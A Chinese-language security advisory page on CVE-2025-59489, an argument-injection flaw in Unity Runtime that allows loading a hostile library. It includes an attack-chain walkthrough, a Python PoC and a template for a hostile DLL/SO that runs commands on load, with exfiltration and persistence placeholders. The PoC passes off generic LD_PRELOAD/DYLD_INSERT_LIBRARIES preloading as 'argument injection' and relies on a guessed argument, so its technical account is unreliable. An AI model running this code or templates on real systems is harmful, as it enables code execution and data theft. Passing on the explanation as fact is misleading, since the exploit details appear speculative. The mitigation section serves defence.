IPBUF安全漏洞报告
English
CVE-2025-59489 CVSS 7.4 高危

CVE-2025-59489 Unity Runtime参数注入导致任意代码执行漏洞

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-59489
漏洞类型
参数注入/任意代码执行
CVSS评分
7.4 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Unity Runtime (Unity Editor构建的应用)

相关标签

参数注入Argument Injection任意代码执行RCEUnity RuntimeUnity Editor动态链接库加载DLL劫持本地提权跨平台漏洞

漏洞概述

CVE-2025-59489是Unity Runtime中存在的一个高危参数注入(Argument Injection)漏洞,影响运行在Android、Windows、macOS和Linux平台上的Unity应用程序。该漏洞存在于2025年10月2日之前的Unity Runtime版本中,其CVSS评分为7.4,属于高危级别。

该漏洞的根本原因是Unity Runtime在加载动态链接库(DLL/SO)时,未能正确处理命令行参数,允许攻击者通过构造特定的参数注入来加载来自非预期位置的恶意库代码。当应用程序使用包含漏洞代码的Unity Editor版本构建时,攻击者可以在运行该应用程序的机器上执行任意代码,并窃取敏感信息。

值得注意的是,虽然该漏洞的状态信息是针对Unity Editor提供的,但仅仅更新Unity Editor并不能解决漏洞问题。开发者需要使用修复后的Unity Editor重新构建并重新部署所有受影响的应用程序,才能彻底消除安全风险。这使得该漏洞的修复成本较高,影响范围广泛。

该漏洞由安全研究团队flatt.tech发现并报告,其CVSS向量表明该漏洞具有本地攻击向量、低攻击复杂度、无需特权和无用户交互的特点,对机密性、完整性和可用性均产生高影响。

技术细节

Unity Runtime在启动过程中会调用系统动态链接库加载器(如Windows上的LoadLibrary、Linux/macOS上的dlopen)来加载必要的运行时库。由于Unity Runtime在处理某些命令行参数时缺乏充分的输入验证和过滤,攻击者可以通过精心构造的参数注入,将恶意的动态链接库路径注入到库加载过程中。

具体利用原理如下:

1. **参数注入点**:Unity Runtime在解析命令行参数时,存在对参数分隔符(如空格、引号、特殊字符)处理不当的问题,导致攻击者可以在合法参数后追加额外的加载指令。

2. **库加载劫持**:通过注入类似`--library-path`或特定于操作系统的环境变量参数,攻击者可以强制Unity Runtime从攻击者控制的目录加载恶意库文件(如Windows上的DLL、Linux上的SO文件)。

3. **代码执行**:一旦恶意库被加载,其中的恶意代码将在Unity应用程序的进程上下文中执行,继承应用程序的所有权限,从而实现任意代码执行。

4. **信息窃取**:攻击者可以读取应用程序内存中的敏感数据、访问文件系统中的机密文件,甚至建立持久化的后门访问。

5. **跨平台影响**:该漏洞影响Unity Runtime的所有主要平台版本,包括Android、Windows、macOS和Linux,使得攻击者可以根据目标平台选择最合适的利用方式。

由于该漏洞是本地攻击向量,攻击者需要能够在目标机器上执行应用程序或访问应用程序的启动参数。然而,一旦应用程序被部署到终端用户设备上,恶意行为者可以通过各种社工手段或与其他漏洞链式利用来触发此漏洞。

攻击链分析

STEP 1
步骤1:环境准备
攻击者识别目标系统上运行的Unity构建应用程序,并确认其使用的Unity Runtime版本早于2025-10-02的修复版本。
STEP 2
步骤2:恶意库制作
攻击者创建一个恶意的动态链接库(DLL/SO/DYLIB),该库包含在加载时自动执行的恶意代码(如构造函数或DllMain),用于执行任意命令或窃取数据。
STEP 3
步骤3:参数注入构造
攻击者构造特殊的命令行参数或环境变量,利用Unity Runtime的参数处理缺陷,将恶意库的加载路径注入到库搜索路径中。
STEP 4
步骤4:触发漏洞
攻击者通过本地访问或社工手段诱导用户启动受影响的Unity应用程序,触发参数注入,使Unity Runtime加载攻击者控制的恶意库。
STEP 5
步骤5:代码执行与持久化
恶意库在Unity应用程序的进程上下文中执行,攻击者获得代码执行权限,可以窃取敏感数据、建立持久化后门或进行横向移动。
STEP 6
步骤6:信息窃取
攻击者利用获得的执行权限访问应用程序内存、文件系统中的敏感数据,并将信息外传到攻击者控制的服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-59489 - Unity Runtime Argument Injection PoC # This PoC demonstrates the concept of argument injection in Unity Runtime # to load malicious library code from an unintended location. import os import sys import subprocess import platform def exploit_unity_runtime(unity_app_path, malicious_lib_path): """ Exploit argument injection in Unity Runtime to load malicious library. Args: unity_app_path: Path to the Unity-built application executable malicious_lib_path: Path to the malicious library to inject """ system = platform.system() if system == "Windows": # On Windows, inject DLL search path via argument injection # Unity Runtime may pass arguments to LoadLibrary without proper sanitization cmd = f'"{unity_app_path}" -batchmode -nographics "-library-path {malicious_lib_path}"' print(f"[+] Windows exploit command: {cmd}") elif system == "Linux": # On Linux, inject LD_PRELOAD or LD_LIBRARY_PATH via argument injection env = os.environ.copy() env['LD_PRELOAD'] = malicious_lib_path cmd = [unity_app_path, '-batchmode', '-nographics'] print(f"[+] Linux exploit - Setting LD_PRELOAD to: {malicious_lib_path}") subprocess.run(cmd, env=env) return elif system == "Darwin": # On macOS, inject DYLD_INSERT_LIBRARIES via argument injection env = os.environ.copy() env['DYLD_INSERT_LIBRARIES'] = malicious_lib_path cmd = [unity_app_path, '-batchmode', '-nographics'] print(f"[+] macOS exploit - Setting DYLD_INSERT_LIBRARIES to: {malicious_lib_path}") subprocess.run(cmd, env=env) return # Execute the command subprocess.run(cmd, shell=True) def create_malicious_dll(): """ Template for creating a malicious DLL that will be loaded by Unity Runtime. The DLL should contain code that executes upon loading (DllMain on Windows). """ dll_code = ''' // malicious_dll.c - Compiled as shared library #include <stdio.h> #include <stdlib.h> #include <string.h> #ifdef _WIN32 #include <windows.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Execute malicious code here system("whoami > C:\\temp\\pwned.txt"); // Exfiltrate sensitive data // Establish persistence break; } return TRUE; } #else // Linux/macOS constructor - executes when library is loaded __attribute__((constructor)) void init(void) { // Execute malicious code here system("id > /tmp/pwned.txt"); // Exfiltrate sensitive data // Establish persistence } #endif ''' print("[+] Malicious DLL template:") print(dll_code) print("\n[!] Compile with:") print(" Windows: cl /LD malicious_dll.c") print(" Linux: gcc -shared -fPIC -o malicious.so malicious_dll.c") print(" macOS: gcc -shared -fPIC -o malicious.dylib malicious_dll.c") if __name__ == "__main__": print("=" * 60) print("CVE-2025-59489 - Unity Runtime Argument Injection PoC") print("=" * 60) # Create the malicious DLL template create_malicious_dll() # Example usage (requires actual vulnerable Unity application) # exploit_unity_runtime("/path/to/unity_app", "/path/to/malicious.so") print("\n[!] Note: This PoC demonstrates the attack concept.") print("[!] Actual exploitation requires a vulnerable Unity-built application.") print("[!] Affected versions: Unity Runtime before 2025-10-02")

影响范围

Unity Runtime < 2025-10-02 (Android)
Unity Runtime < 2025-10-02 (Windows)
Unity Runtime < 2025-10-02 (macOS)
Unity Runtime < 2025-10-02 (Linux)
使用受影响Unity Editor版本构建的所有应用程序

防御指南

临时缓解措施
在无法立即重新构建和部署应用程序的情况下,可以采取以下临时缓解措施:1)限制应用程序的可执行权限,使用最小权限原则运行Unity应用程序;2)监控和限制进程的环境变量设置,防止LD_PRELOAD、DYLD_INSERT_LIBRARIES等环境变量的恶意设置;3)部署主机入侵检测系统(HIDS)监控异常的库加载行为;4)使用应用程序控制策略限制Unity应用程序的库加载路径;5)隔离运行Unity应用程序的环境,限制其访问敏感数据和网络资源;6)关注Unity官方发布的安全公告,及时获取补丁信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表